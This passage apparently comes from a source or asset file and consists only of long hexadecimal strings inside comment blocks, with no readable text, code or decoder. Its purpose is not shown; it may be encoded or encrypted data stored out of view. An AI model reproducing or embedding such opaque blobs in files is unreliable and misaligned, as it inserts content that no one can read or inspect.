3b8d4c824b938ca68358c9ba4d95df3dd8490c6c72a5000f9d8b5502a1c749a8061b7dfba4f9c4f8c684c1002d344e44af12e849b804c8181b6cf8911641b6dbcbcb211303781ff36a5108874c7a06b403dc7c9235b3afcb00d722f41099f1e82eeb637bad1912369a9a00dcbee70b2bbb45484083bd8c18a91386c86024d77e8694c332162f34c718ccceb4548b1087064c401f0b8ce7807c3da52ea178c0ff916a865e7e1f3a537ec2adaad56c127d4338d43ddfa940760f6e1d3a9e6b3ca45c7920054355407691b5d5ec1aec9e1dfcb504c8004cad1a642352416bb803272df3743c4f6431bd58b6541a083710e650cc0ad9b3ac9c418258b5abd0187f261e2919136a2e7005b548bee9984e37b9b150591ace5386cec9386ec01c80145b36de968077aa8042216fc3cd3cd81e49dbce276ee628feb54739704abddcadf9d5f2a587691cdab91199969de8427111eb25d0ceb738d4f62629e47b3478f2112caa38c0e39fe5517b5d75afa7ddc8302c66de65ee8e487d3b74048f10956537384b224b3e41f3e08fed009f634e45e29b90ba53952d4ef99b1008f423886cf88dc077f75265d1aa54f12899a71d3e7a41a8ff7005a7267a97b10589f86f6a5bd83a101bea739e87d0f2b15d97a634319753001cdf91233d8cca5c0bc512987c3ceb2cefc82ccfd09c9d521c07c0551bc92aa784a979864b3d9959455bc651fc6bcf74c5882beaa425bc3ea6f35cf2*/
/*db2727c0d72c53742865376ff1fe3063d7ecc358d64d186d2b57dab45052ad8a7ecd10c668334fe4dff942313509fb20197635e4ecad429a26ac23be4316bc9cf615f282de087c5c23e7fff0aaf52ce8dcfd03522c70787cf02e752b827b80ee40220eef62e8954a53bfc0c5a007f513c34a839f85073732f36fef624c3ddc29fe3bb7f92ef9e14385279b026da0673e4ea18b3e7048551678c97306c4af2f6be4eb9dbce4391a48d69854739cf4559b5221d3cfc5bdb3bec0159402cea822c0d39e912b7af643112f44f64d3f00f30ef0a353148f998db3bdc00b7c54fff536dcebb39854ebec8c8fafaf0402accacd0f6d4dc9de157a83021bb1867262a086a2d13a50163a2f954a0fee0e2729d1b5cbea17dd28e76b423a2f8ffb5a09db1d676a490d1a468c356ac628516d6ff98ff9aec7bef2c8fee572e0c8d6f7677fe4ed9c72d5537cf6f73eed791ed3c8b57de6c016f6ad207eebc39acee774d15c45eb292aba85984b17d4ddb955ba9672a8de83a07cb13c8a21f9cd8f075249cf42a4ef0f9f84553101da4652fd135e12d8d33f7732bbe03e89af29248165c3953f518ab2e0ec298dc6fe0ae17679c2d2ceacfdb1ec46747f21cb38c96f1afa425effc4b2419c3760443c23df6058f16fdd486775b08483c5d74d8b071d98de9f675bce472e700f0b1b0129a1e920a116f0af7ea2c089ce7bcc59e2981c3525078c74a4521344254fb8743fb2739058f5e2bce1f6c3cb7e670efd77a6689b049b91af4e52f0a0800d593466434a074e605bb377151ae845275ad4312f1388543a42ca0bca97c4922704891a95238bf21bb3986745a8acb34630a055a6ebacc65b6beba0f91f672d0905ab3f30d228a735efdb33f362029867d31e6278b98938b8668eb9c821a738d1134fec0a5f3bc612f5c49ed173f4327e4bafc5d6e0051c5dbf06bf43aadaacdd5a7f09a3f8b42a7afab1e1cf0495be5d993287d8ddf0d8a4fcc077ed435570bc9ed54f5f18535b64239b021454f20b6f3e31130c5ddb0ec8732541767525c0976cb4bd3ca652e6f08c6d149789d45089eab26bab8f9a1cc0d1362c4092f1ddfc3b5ddcab8dfdd734f45cf61962bbbbb522ae0a22168b6f6c2d26c287aae624d4caa6162efe310c9de43e39ac02df643be135391434d661c0c83083b488d068ef30b05c60ca7b6c9bea3e6bf624137878e4823e43ca042410102397dc8129136b2a3bea970933ac0076e6567a94b0db7880dac3847d2fa825740897ae9d853f529bc052d7d13e7dddb2e65c42fe9100b80e7f1d2f0c0a81b3fac78aa61be57e2b0bc36091fe3600d2c2aa3138fc987c95fc924f07009c1271770d1931343ec661190a6d6596275d0fe6abb7911443e67eab1449a638a0fd59f05910adc5ef6342d5cff1db1f958f3e4070cd661a94fa1272bb336a5cdd87cc2aa6708a8dc12a1b711845e42a15e0d574392b4076090167899d70720cc8d0ab76b7a0778ea8aabc7ab1d4fa9e2ab6bbe791fcf8ae416b388bb7eb2589fd60908943db170de17833d3f364dac565efa77b37f74b47f0fcd3b38d90de844a53b547f22f82ae287a313d6d0194bc308be36554c22715e62aa3f28ba0da29028af3287f3d40c45fd78a7a2f3f9a2cc869d112c66c8865a9da9d9e9314badf3426aceccaa0e75996815f5cb376612123c31d5f6370d4fc8115a05e848560ad4752f944dd2e074db2f518f63860108b7655307ef0a25cf232357d39ba840e06880907ba91ca217385be6a2c1f1567a6543a334a92fa13539b343216c99e8c668574ca473d19efa04d8ed0c2e690869ff522e9fc0ebefe23ba6fd931b3b701c5d918ae1b9483fd6b696771da06aa3df42ee88c6b58d1f411438655a10d86e8dc1912cb21e90b1d61fe2d960603420ae0c3660f306d48345ca6aa9bfc48c4e6b76e89777ac6414d122d4b9a13d22b2184e9831c280636d1dd3cc368d3a0568c785a0f4e63ce6b69dd41c6dc6a81667d9bd74030ea0a685c0c1f8716f678b12a7d6be76d91a5b5db624424353b931b6a60b0535280ea9338c3e0ef71e08f8d692ed6e247c38e43171e2e73778c3a6920c6eaa89785e7fb902e6f2f784abf735bb84898d2d84c69ebf3b03870c2789250324a0dd9671058718315aab5789c73f6d2633a756f04e49bd7af261ab55c7014abee623de7eec6ee8da114f4a40c5f3e6b22337a3dc510abde968502bcd96c7e440fe5f69ac605ef580683a99013d9dba69c222ff3e3dbcefde4730e68287d646e85e25d336142d126d4bddbb9ce761dc28e906a1dcfb4d49950ca5f743745903062bdd8e089c89d471869e4972a87e08be1efc4a3e24dc3325386a370843b9090542ee11ae54d67ebae3b02c7059baabc55e378ad42f0ba0779eb5857b45710f63aed339d0ec792f1ef61139221ada13dc27283e32e3f2ed8edb02f3270c4ec4deabd0c8a0d855e77d093a83fd36d94a1e2e3e865fcb0e40754a6e1a1cde16cd10f34b8ba6237e821d04f12919a8798aef2659b86b4f5e1af4becadceac01fe78f9338c184eb5b0b64f91d3027969515f6e1767ceca9faa2af06c7420a19083eec18f6de5c7484ba3c40048e4ad46093bba7388dbeb36cbd926d3b8c620df1cf70b947f0edac82c41a13619b6b2eea33252e7f184882a7f0731da7a16480240f8b994f94e899b356f7089ad1cfd1e6e8eb183daab665b67086a971c5042d62b6a945b9ef113215370b52fe05705d2286bff787f1e1da8f5d38f618a72db8785d665c5eb8d23043be784c64dcea57e0319703b1c853006af1762bd0067efdbc66b89344bfa*/
/*6a220b894b50f36e0792688fa3499a91afb9887d61ee81e18df2f2abda5e2c8b7ba08872a2bff73b945499f6740c0f03b8b1a2e60f84436d608ea30072590551f61c61fd16019134381dde82d4ae52e446fbcd93c7b5b20fb37202687620341feda09a249d5b60b82c89f1db76c5bcd1bbd1880afa3bb5d8289fca8e8e3b2d8670febc72b1146ce1b65ecbd7a4318b51aff43cb37d65b319bab2ac9e18f95da5d51535dfb780d03e1612af65ab42f75fd30a5fb4f5579da4ae48fbeaadc22ca98dc4759e5e24322202a89ed511f296efc45b7b22f31863aee95606812aa31a813664189cc7fc402d4ddab8e0323a1c5339142610520d28e1c928822fad3b20e6e24efedf620dc7fe71182e2dbd741bc29a2953bfccba61990b1edffedfbdb57766790f905e54ead3dc857fbd8c9eb8c7c4f5cf7fb71b859c682099aacceb28a12845d29225992fdfb23d452e020cb22909256cfe67c95d1605c87627441e0c6feaafe2ac819076eb8d31743d310ae730f260410bc3134385577b8a4199e1bda990d36e4dc3681ebbf55b9dce32f4900e0d0df741b8d1843490cf657b7102e401d96c8ba40c5a24f161948e8120e15d54d5d447076f3c404a27be3226538d2367447aa57a956665c4ab0e4359884f08e03711fd6d2c87696164c11497b56a3ed905710733a87bff579dbc9948c328092f5136a4a785d34e9c98d85b702065423bc814c575334c513a8c554cbccb856d8df041160a27c7e5808d31467ee121a41a56a74d965a51dd540fc59b79f824a12502dbda7a04bec20ed9c57462eafbfa03d051726745adaf202c82676ed5279d546ac51e3f46cca4a4d41c0f6ece45bcc30a825b04edac1900a6574f4bc3e943fcafa20087e58c3786bef8019d5129649a48ef573381f65f3a9fe529f1cfb4a1bc39664dd225dc8f8884880b99e3cd3aa506369afd786182f3cb745512e599418fbdabaedc9890ed3825b7c33498c0a011f27854647a5cad878191951ec8c53498c082af471d92d455c8db63ec89f30ae3abc52aacbf7bd01416be0f28f3568a6ddb23d662675dd413434eaf1dd8f3ee33e145b434827d8d792ed270108be2d5226087a39f26a0711305bd21f9cdd1cd333e4a0a3479578a59953631c4dfcf82e556b4155dedc9067fc1fc616cdf161cd4365043217abc3897c26f167a5634f6fb1d98503447b0524ee0a2b6b199d0358a856f4afae034ae8d937b0db309f605835dfe8e3d3b4e7a6dbfcb97f54c298475585d12714f5a1c456517444cca7cd93b1a19414830c67b0ee405403bece8c6220279565fd878baa56d98b3effa808705125cb2cad5a456d8acd468cd02524f3a0f5284571fd46527885f9caf6e0563bd98a7f44032015a6f9e5ecf5a1181e8d29078c4467de4a0f8d0ce0c0756a524db13df84c0e4dde9fa6c5885a7513fbee9fbf598730ef3474cb78e5d241ca40d80f2e942e1a200dd2006a293e212ed566a5cbb3fed75445ca50278f6f365e4433c61f574c5bca14b1f2d08aed2176b6642f7d5a254bd72df572ec6f56f7c67c9bf7ef895526c03d3eaf2e717ddfc918e95a1497f5b5813e3190051162861e58830cb399103ac5ce4a60106f8372344194e853e193b55d69e3a0fc88653a6033a13dca13dca1143d35b00192a4ddf555cb31ddaece4f57bb6e5809cdc8310abdd5c3db59b8fd48b3f029cf4c540d06559fc630c8229fb6166de25d61118faee8be2c6bc30a0e89a57dbe8c8ca05588b61570defea2abdf64d3d34b092cbdfb41672b8818ed08daaed1062e87d66e2a8834261dff472d2170cbd9916a26ce86ea539e503faf613e60c8ac385b647f9e88841d64e6e131f607403d6956d8acd24d39e103d47f2e67c49ece7154103c34a9af73e1a7b3899b969c91fe510812b266b6f090fd617b690bacfe4fbbe1b428f68015905654f6fbe09ad6af5d9f96156b805c8ebdf22a4bb921ab243479bb01d6bfae8954718e93e7d0f8ffbb7b205fef77662ab0e4910147c64ca0a86e6fdacdaf3a932a574ed51551a082a7bb11746e08ab2ca69ea0057a1487e3183a47671e2f09636568d693979a389b92181c2d9028a95caf00795589ca9a288f7de0a56c0fcefc94574123f9d8964caa79f42304d4864f9d87e293f0a588f85ef132c008578114a42331c955353acf27857649ab4d17cea6891d823c6730db193653e09be65bbb2be0a92e3c5e8f1b7c13c07e814fa290afd1bfb9d7b763182f1fdba35b82d03c1192212771dd00c8a96a0d12a60b85582946d59af14b58778124d1d7977b0d6195bcd8084ac1f3bb40a9c9ad7dcf97394d8344b59c0f0d7b76c3e30285deff6dfc643536a7b442e8dcad466a8e79c18a013541955b2724e637fe9d601243517441c76c9579938567910a042def78d3b4e47fad0f5dd4331642af2139ea04fee23bc6235bf617d4a487ab6740573a8645ce0dcb589f2ec791094b327618554511c4768fe808268e8b0319bf0a1972facea9d2a3d62f1c950637cbad12458910314f43d29b2680f266edb5204b8e45b3b42ed6f73d95db212cd1a745e3deea5a4fd0934ec2b64870d701dbb026312272c6b919e4a37e9bc61cd9425c68d247869fa1cb8534c21b127abd74acc2ab2d02f06826f8a60c4f80852677e992f6cc84bfe69c478b21d8a0551ab50f37d99d6f9fa1cfb7dae5addf5f1330a142379c2b280aea71f1d6d614b96135c472c8dd4d79a44abd84eda6a72534db21e60405695534b73bf58127e7df31521d92a7fda795baa772311b487d3c60b60834487b4ad5a7cc1729a1450783a9b574107b792*/
/*99144ed4011e74b6e5b709282344dc195b90ce82b7551a8ad328e25bd94068e4f690b6238d3a87ddc8c006ca0e176c616a25adeadaa0ba182376d0977d9f410dd25f19748dd233de4058339ef1562489d4f9887940546c92ff41ae1956baf4755c2d957dbe64a83577136d1c048c4cf07aed7754e7cdcd35f1f638261ac840fe09c8ac237afc20663124e965fad14780f0fed3cc5f1d1fbd89e429eaf25e0442f781729c42d5b5afc6b5f29c70341fcb91aafb800eaded483e6b44258b88b28289695268268fa33253201722c8a437d95d0b8b21abd18e20e5519e461eaf769452bd466fdac14aba696406090a196bd2227ed631624de68c31c5e23b175dc38dce3415e08efa93d009867d97a84a8b5b1b500801167c35d300519bf9b25e52da66b5ed3338ac70ab2ba3caec41051eae234f1de718ae824723242b4d975ea2957aae7e7f22156d074cf439a315773c6378f84139758ddba7cf7dff43997a53daabf22ae2feca3a4a2c712bb6e972e87d39a42321761b8c584a703158cb78d261ee5bfe6c3668e7e3e03eaab25a991fc15429d47def8f27ef7ec914dd9bece08879d227e38f8ed276b54bbb985876a754e65770c373e222898163f5537ee00b6610d47fafea464f1edddd9cb12ce5757903a7067dcedf6e0a5b92cd041455e7a90e03348dae028db694d927a44f893bf0026f77bec5288e727d84a2c25bd3e1c42d650fb20ab71808f5d6cd62ef61771935e5ae0862ea2c14cd3bb902809c3457db97f58b078c3561234435ecfc1d26bd19a21267f7306c441ffe9dde908281fb98eadd58253bd235aff9dde839b76aeadc52747db99fc5b0cc3270f9465117ee14f946f887aeacbe31536162360f365a2cf66dce0ec0bd28385c6c31a2e8a85a24e53ec29846f5dae3dc2e9c109dcc67b36672a773ade4823383ea1ee4adfa5c1ccffb138ae7cf562b7c72d5f92476f21d1668e8ab63a26188c62b36f8434630e5d50e0432e6e6fff822170b4732e15c010add9b8dc5d65e50429b01bfa58fc9af5842a3fbb4fd90a80bcfe64d87131c2476577750fab078bf14e746734c7d22cda985b788fa13dd274597c5527bdb5c42f34c75a3030ff84c599aefd88a863d29757730c9c07eb2cb010da49601cf8d9cf49014b80e2c4bc759f91f7fbedfa56820a567f964efdfb9b0993d45cb326a6915b62ec9cd02511a50ae6c624a1bbb84adc3caf8b06bdc93ce33177ed2b54210f8012f2762564311452b75fb72582fd26cfd03e727d3ff956f18e8df2a4f4809e0fccaf70bae9449f0ae7ce513f208786984dfbc900a36e7a4f20e6a3d1d58e72f80e503a77703675461583affb017a2457dbc294a0148887fd6f069c96b6392cded0f1c9928254e761d6a3a68146632c41c4922dc0d92d81ed936cf08585ad2cb5820db049d922749f9fb66a23af514aa10ca914d9f59b567207ed2a1480c16ab91d4378a9bfb9dccf53359f67157dc5e658ce64bf0f25ce68011f075f0abe4eb349bc08708ccf6ca9e9a82f679ce9422fba18e5d7b6b606b3c9cf77436b24bd611ed49ae554002804546b7ae75bfaa68330976cdcc0063282279187e8ce077aa97a9d3c106e7b23979b6308e14810b24a4b41fbcc4ce44a88f5089cc1141fe1380ea23850fd3f21041019648816cd731efea7a4453d353b94a625d062e12fb91a6548a99a4f39ec97028c202109ad5116974ad69d2aa6e36148d6520d10d1c49a8eb10e09d609af10b09f72ba98a1d95d08fbd533869d584b5804b130c11a7e7451f33d087357d9d3169a50362c63294b44ba5badd98665fa1312b167ffe71777315b367b5aaa091d06edc5ede5202d768db38533b750a7539cd922e22f7ad00381b6259da12cefb978731df58521782306a173f61dc3abc241623e66df146842cecceb04aa96f41c7924a8f9dd16f3f06f579f654686b84b60315117daff30ead23f3675001c42229af45116ef51e9742ed76e4430675857c8936fa572d76f61a3e4b007d9c4082f96ca66c9fa98a2ccac1d440a1f29d6acfe8cb76843d18c7e1fdb7c4b6104db94bb048731bafe8b6cb78eb52bfb2a0983ebe2d555c89dfd90da2532efc4e0db45150503f871eeaffc24193d857be958ad95921f29d2aa32acbe6ae5420dbd0d6fe6f0c734715f6b2b0e5b10bed9636a8b36c2fdc3dca6ebbc0074fd367cb075d402dbebd76c966e32c993ffa418578428c6a1f233bf8912603a6093ac5ca3996417ab0f7e4f8ac62710d5044e91963e6bf8317e2394720fc99a2f62bd97e7b570b242258f183d13cd8fab9f7b22c3edce6c3754b23d8faa43c57e5de2085da873ac971a28cfc59854573f32f39b1213453e1897bf2992243b15617425f368bf4074201d32c81b2bf71122f9d0c2b043f97cf0acee9e527a916e907f30c6808298de4bc354f079f9b8eb7fcc6276f027fd67ef4644e9b64942823629103e57d0cff91e6a053f694bf33f50e9c558e2c60fae23fe255188c95be4639dc08ea7ca5a8c571d2e2f327c750e905ebd8ea443cf721fa99823c0307ff3592d9a7efc2f220a301478df6cbae3d8131b87ef081903133c74acb4289446f6a3f7a5982bfc4456c29320aafd44efd30cab6ede5ecc05296f20b4817ae6193d54e1735f1346322a13d1ba0db2d96fc5516bed5dc8777bee99ed4002b5ee51692b50b097ffecac59cda8ec71229b1f52e6a5868878791472b47ddcb5593e42c603b9b2bbe078821e99a6621406624d3a309bf10e87600ee9d08e9a9c89ba10a46fe1037ddaf915ae35a4529cea8bedb843f981506991bc74124392dfc*/
/*cf53c5925ff4150dded6263c2235342933e162ff92464e9c95a4c616dd6b18890fad4e2fdfd740fbb23bd92f0168472f97b86eae71aea8b5a8c4577aad368d0089099d3f368847a6e9715f079e73a3e2e56c595fcb39520ef81218d75ffa99b5c96a15d42e63fb789c38609a0aa22033a91a26f2e5967215ac324956caf309dbb2ccf7ab6e731a93e72af36c8d2c5e0d10118758c3fc645bc8fb37b3124aade4de54935f5479941ec18062dfaf64ef513e9c34b1a08afb960c3a9ff940ab91c29068fbd76aaff2238668dcd2a4812684170d4dc6f207b2fcf70b833a68f017a27800ad615b22b5acca2e307cb6febc16e0b15d85282ec49071403650068cd28917512b7c3f0afb668bcab48f236413c4b408e63432a6885645665706660bc91c3a22868558918f05b13ae8d2e56c1ea167e0c2106298d175b0a9893f991fdac8b3a85f2d6b5127e50931b77f5b4034f6e55104114aaedeca5a3531becc5631e609cbcc0c4c3aefc036f20a827200d11a5b71f7018107a2e15f905cce5a2c86802c863823c7c2bfc7a5a9068b89395acfd487a66348c2716a35134d72d627977c49ce26c94d6c0a552fee4bdf2488d6668d95e322d507613fdc0f715bdbb07a422d15d038d285f41342cd38952e3204b5c7ab11bdcce0f7cffbf469b2bf998c07ddd7fd69eae7348121b441f26b4ef9c6b7a5ddacb747542ff5ef3f680883922bc8a37f271b8f568777753214ca524e4114833654e4a0d545f031870bd2aaaac8dc545d2f01857abffb8c3508a3527e395b5b8b5c361a3925cdd925e9db712f869f3b71f40a214f797cf4206cedf6d5a24936c20d46aca3b01341ed6e522639c6a95e71ea76d5d495ff3b01c3e8157288c8e1d1849b95c578a7b00214e63c43db211fc9d1ffe3d41a73bc89bc75fb3411754aedccec171d6b39ad3657e0217455aa2502747d5738bd807929c7d4d4c633267a83e004d4d8ac4e193f879b415b07f515b21d0d71fa75d6e0e688221be339d16175d9b4ac6e35d40056dff85f455ca29dbe4921451b9704ee61f0b601a79d4c7bc50cad2c6229f81fea72f331328209ddcb8a200c293d05302ea3c9a2ad4c909f0e137d757aae4da6610ca3fffa0a31fae79964603a6b36a19a51f37e9f1e7878554d8ad2a099cef8bb83445a2c671042059d0d14e2c47580cc89559a3838ae30fcf8d3df13b6b892d773af804a70dffc5717bf491e38a6c895ece8f66b47bc5cc4f6002568d5f26970ed11bf12027d847b1646a02bfbd98516a5c75d0b01511bcb4e2545bbab7a956d10fed3934d4de4877e8d030e3fcbba81135b6b61bd0f827d0fb1135bc3c85fc2f61cf3e88cd5201c1d459e5bd78dcb13bd47b87e30299adebe60c8da35bf12eafeccdfde91e5c2b1bd03b65dd987c3acbdd02dfa62b635808490b91d8e52252a6a75e1f648219a720d7f8d1106a7c896b3755068170aedb3e655bc1c6681b2fffc08f4b9ace0b5232105680e4df26a6c89aee4f484f4f31074bb411f87cd171838e0e26c758af924f862ecf7ce00209303e9def9ab7f42fd1fe12e6085fbbfc5bfc1fdcdf66be481df8df069a741d9ff506ba31a7b56eb143cedd0568396efd3c38efa0037d7aca1dd5ff7e02e7860538734c3a4e83ca3b28d6a00c86e0c63bf0a9f98e9c2bdb7513e39f0aa3cbfda8673382abcd5fcbceb13c62ec851fa7ac6e780a47cee7b1c894f5214387d6aaa594e198a1465de19dabe5300986d1d8193ada7ab0fca2ac278cdba5f111f0603be09e17a4e5b57e3dcef1c87c51a4b00eec67712282647658d27d8b2c4b1d9b2de1f7b1387e5f78e26d1f8d34c8aebc49eb8bb9df6fcc2836182774b941df28f0b682f1f4a6fb14bf3d20a9e714b1229d671b8c39dd4b1b8b0ed2f64e1c1b5ebc74c3c1ea2981b3aebb2812accd6dacc56f60794bcda42ce26893556020b3c9f8b93acca1cc919c21b2fe4355684acac95b9afad7cd03a96e9043b95f51fdb5cb9e878b3115cab9e912a5cd1bb6cb5afe7b3fbbf5cb2af189e053be9e77a021546b7a3bfcb66d6c7944fc050de3a42d3918ff1c30e337a8e29b1e4cf099748eda8812fae88eb5defa12a97ff09bc2e27d1f527085a5c2b747a043d03255ad8a0198b8df36c0a48f77f299f06ec3b6a52e3cfa93f5b4b5a3d7e07b920bf646e4e65fa6b6775e761158a48f42b7f322786588830530b4f3f785679f866a3a9c535dedee9188334818b2a7a9622c5e99e711c05e7b405502d73fbe29ee7e4f50758560b43c007b15cb55c1cabbd13a46b09c22839a951bd1893b54e6357b5449b1668b6c734165d24f8b9013951ae5ff36f38dfd826487adba38312f486923659874424644b548596f97a455f1eab3e59db2a01ce612d26567d5251be472a97ba17d0018cc62efa595a1d53704715aff41a95c59fb8d65ec9d569e783cbc1953b672aa11fd705a395aecf354d46ef95dd8114d0ac8964ee519ae08921099438786cbcf1b6953d3ef83530396caa179c793f9f7717b5313df4410ca491c55513761bb74a183207c4c665e8bce3eec3797a4e4f3fbcefe04d96f839d67cda8e69aac56b91a8abbfdfdf43fed09a738bc31ac327299917f9b7b32eac5e4e892aabdffc9be3b3805c62f7a76c82f76f56c2622647921b3a22d4c64f64ec28287b1dbd85f1d06f2fd7b35e1aeb8cef231b96c499ad8d26603470f271c1c521ef6ec67e70427cde852c1763f559c09690b8485c9bce6ae676b446fea942bf9105eb1d68f9ecea3aaf0044951f1e355cb9ca2d33c666bb9c90a3f7250a4bb3804c98ede95b4beef80735d9*/
/*1b60b6e5cc5a169182322e596c7f28daf71aa3f18a5be36c4db38d0783711456c9925401c4fd8c88554c015c32651091e87ffb1fb890d2a3d74888ae52d70bd64d2cf8d7a07cb8cae7028212a3646df80156a3c1839827509fe1dac6ec33ab9490a143f1f9d426317e2a052d5f42d5cca7dd9ccc98f6347e3fe7147cb380e469e1eee9c583d5560784047601f819ec590477720e0c0317bbc4a945cd2549134c7560bb766d7afbca364505ef5196655238e6141bb132d06f1ea7e6413b2a6be46420a071c9fcffa77c4ff2eefb2e9ba955e0ac4cf7e20d80c123a8ef2eca5f31f911a3b9b85f0f755034d440008358e740881b926505bd1d8d706bb6e2b4de9812537eedc5946e2e4212a8936e65e5753a6d6fc5dd4387798174c9fcfee82595ce9e538b9494710849488ddee2bd9b0b9a1bd601388ce6f58227c3f32d5bd714311a10bebf81295d1851d880ef08a94ffaa3d073b88f77b152901c9fbf3e24dd0618a03dde205f7ca196c757ce1c17e028e18e7398caec8bbb27b7b1cbf727bc7caa7921ca416235de464ead6894c47a5ff26b9f8cc873d4befab1b8b8fca7063ccc19c7d3b7e15ec287b68308aa267136681d9c0927c3c0ae36297437bc70aff3554c8b8c075af4e43a3946c1e78941a5af5de9f27166a7dc1ffdaceefc5fc24e9191fefc3901aa40599e7e4c44798e7bb1493585dc275a07fa0536625a9a88adb477dbc579e95235cf01c7b57a4d9b34d6c2570105fa521d746d8aa7f9a4a55ced3f556166ec935e9d2dcf00b7a837a7df039dc63375413001f3849c0aad95ee859ea864d67417d95dd12db91d307bf4abb244f531b532332f7294fcd63483714f0fee57f3cc66eaa4593611f014773eedbbd43cb4ca38199f5e84350da82f0d748d576313ffd980484d3f2247800c031dae36fadc10fb3c1e8cac3321ffea18016fb4ef797f434469cbac4426d6740fe99bb69433bf6d7d0433fe7398993e41097b0277bf97354dc6ec648c1b4c6d3d29459a1c714ff38a67d41caf82de2d93feaa778f9bbd6631328c0f12f4dfe9545f967cf2b5ec609e0bd84b5ceb5c5804c4a11c1e58298c187e0f7f17b85648e0e3f29197f81714b3c539013d6c48aedd8c23bb6917e474746649208db4e7520d7af7c208b97a01dd84f4a612735bbf1b2eeddda55fac590daa8493b136e48ef8efd53ea4d0ce28ec708bf1a5d09d028cd737a1a9058a5fd08d8e1743f337f172dce74a505bb32ace80adf23c87ce4be2ebe4d327b1d279f157d9f6939d4a1cffc688644d55d38371b00e8a27df3f88e8384d700a8bb9f6b7cbd06f25bd8be3498ff0bf5787a4e4701a6166cc3c54999c976a1fd2b2fd3c3924bdfa25aed692a927910e9a6f7c9ec002db6e94a0bd5e2aeee42e4690707abfa9e1dce600f6b3b4812e6e9bf6fa23baea29587d9767988a4cc4e50da067293a42f59da636c074c28ba89fc979263dd9aae3ec88f8cb0b40a489a36c7ff7246e2a96e65c5076556817a277ed7ab9221e1ca4392db330a7c0a0198775690de55a5a13846a28980d650432690f10b2831d04d172807b5848f46688a8154dd55f9515fd7e11beaaed1a71ae51072eb408f5aababbad531d3d8ea54f983c7f5e1788cca66dd50678625cb56968cc4cc882a4856f39f81cf953735b73c4f6763f3ac94f41a8da80aa924913065ae4a3e9800f69f4dd059cdb56eff9576e47324cf26705e18b79637b9bbede1462469fac8695f65d0a6927ff0eb2a16d4b618806e6330d106ac6217145f7b3cfa229a1e3dc33f5f4b48eb02f4be00cea118a13ad8c34a1712423c56c2ccf7d0aed667f0c429f2524a9632b4994f595de729f9ee900da904e346f2f55f7fa7b35b05148a4e5055a70610e3472409e7f5ef9e06e9e0ce63627ac207dfd2ac0f6c2df71b4c1e6819bad8bbfcaefdea429e119da3ef3f94e30f3299908aa852ce5f550f85be352d62d8982e0d9bb6f46cdb464a50f1e2b1a7357824709a9adf5779ce45d2465f77609bd987c9c69300075985476ea3c392871c5dd15b051865fbdc0f23f5d501d9708ac5189c22fc63c5e5d34dbd814e9bb632fe5cb8c1eb4cda776cd5c301242c2391bc463c3ace0f20ad384bdc0d2af4e1bc57af30bca3ece768c49a2b5830aab6e7a019f62acc1f0cff8d24b468a45da112964461d7f7532392455cd4ab59955cc8bc45071de6ff6df450fddce8b39da8c749861279e8feb6497f8117ba1e348f6fb65c3970237d62e62df2f074a83d99f12281d12a384dd9fc518d62eac8185de878b20e41a49b30e7653bea13c3344073fbc788077923adb8bc22db17f0762d33313f6647efc54cbf1f8d1cd5c93387d4fe2da4485fe0f1a25f88bd670c9c5a43ef092fe149fc08914ab74cdef072b9224ec73ecda2ced934ed909a2cf35bde29685124ed6c8e1a893bcc07315381b88ac3dfcb58a11b3c8a4036364d32e75b50052f27a2cf3e77c91c428a58d507725143a48da0712055730a3ef3f1b57dd5bfaf60a1cc251966f429936ebe96201d1c404084d8b3b47c55c8c532364515ef6fa383dcd13135e9efbf5748a8098a9af8316c9c7e4ae947ba33e04d271c9c2e6313f8184d766a1589f724d6b659e6f15344949311578db09dc56352f5d9180b761c9b8c56f4204004af78149b92c7fe4f32195ec59a7c077be6d8faad359d67c96410c4d51ed578b070b314a79738e7a67b43856806100f11086385ce954ad5e5804eff59b178601cb4294826dec68196e82e7fa8093f465c1a7012c4d85aee6993bd73f66d6f2c13893137b5d74be4799e56c999cd3*/
/*c71b0e145501e62e078987f703d3374bbef100a5f8ab9f99edf5f8147db18b9b44fb8f1a86a21115accb0245407a8502ce0d8bda1d8ec01863d0bfe53360d32132eeab90d50b8b431f1323af10d48561e14561c27e381709775487215227baf45f8ff0bc02152aa4c173b5a630018f3cf95b1adc62d8cdc7713e2e10e0a24d790bb983bb484a8e840fb59ebe58b64f008b21f3f7c386e1f0ef24236790921027ad1cd669205ed00506cef2c55155cdebe66b6b853055750965865be2032319812096e04b097ad802eaf157ae28e11a027248af01f4465de92317aa42168eeefa4973ca4b81c5084db9c30625c7d397fa566915e1c55d437fde31e70d058398782fe9a57a27b0922ccba51b9cadf564ed8fe1e1b2454724c8025fe649032a70a457c10e57f0882c658afe7e73a31b673ed429ce78b6d49a404550d13336d4c4255d34831b65fa64279ce9dad40f752098374d572bf01445ae92a5810f4841ee75371031aa7915b6c8a0f40b35ae7b97671bcf7cbf246f227b88443d4a671eaf9acd8c7e131fc73cf1da6df03587979bc4e94bcb5c4d10fb1c0cf497363500c1a9f2a1d68e0bc3a7bbed8ed64446b1c50d86c1c39863c2d464d8a99fcebaae2247809474669e80287b8a8435de946691c726aef585685d2dcbf0662a32e4f77b27495172f833440d1db1a07503bff9af57f51bf412808f8a46bdea593200dbaabec6f39d2e0993069a075fc2d6aa4413c9e55b0f4df0b00ddca9a8722ba61958f96bba778b0e428bf6d93f2b8667375d6d6969b37cd2422279911337bfc700a22c58429616bec9efdf793efa47f39019ddab1aa0d3e01d46498cd712123a3ab2267eb5e4577b7d9760415422fb78a3458caa1d39dda529556aad399431d6669b7aec950f46d6c97596abc4347d951b18db14381d8f9753a5fe38ea721227a1287ac8e72c78487868d3b2c584972520b580794b590c644058ba4aabd401c3162b16fc5e2608085985b915d7c2b80bf1b39fce6cde1a231df54e36c2617154836035cd4eb048a6f41b5d81ac39a5a6add368f5471aa011663400b49c15d190fea461e958183711c301162f4d920bbe5c0fe9bf2ce31b648b5a70f35e68ae8923af97c6c1fe6c96a55b35ed4b789a4637879b9173c987d6278fddbbe1452d6f86701a60e3be9da459272061a9d0e66806f9f735d99dc8780e8ab6786c62c15e254bbccadb8e77810a2a2cd7840d57a6f281578287f7c4d3ac170a8d205000c62c3246c3ebd5f2fece8ede228c871d2d545b55efc81c0125a670cb1650ea49960b132e3612c69914a0601155a9aa4d197cc875d8a47210e41d6d12d18c96590e26b91f48f65468d9f0bc4e4a2a47d6f55f76a7b9ffce2f14bfeebbcffa708773cc57d115fa4786ec1b9617638bf1a43a0693a9836cb51428082f17146afacac44a1ce6118a1caa0b7306814356dbf1a80a793392614452cfbeaa51992c8aaf18fceb6b4be467298b890535bb21c4b277f8cb6f68a9cff8e7d7bec556346c9c3402804d29bb85f4a4aa2c9855012dbfbd51c3c7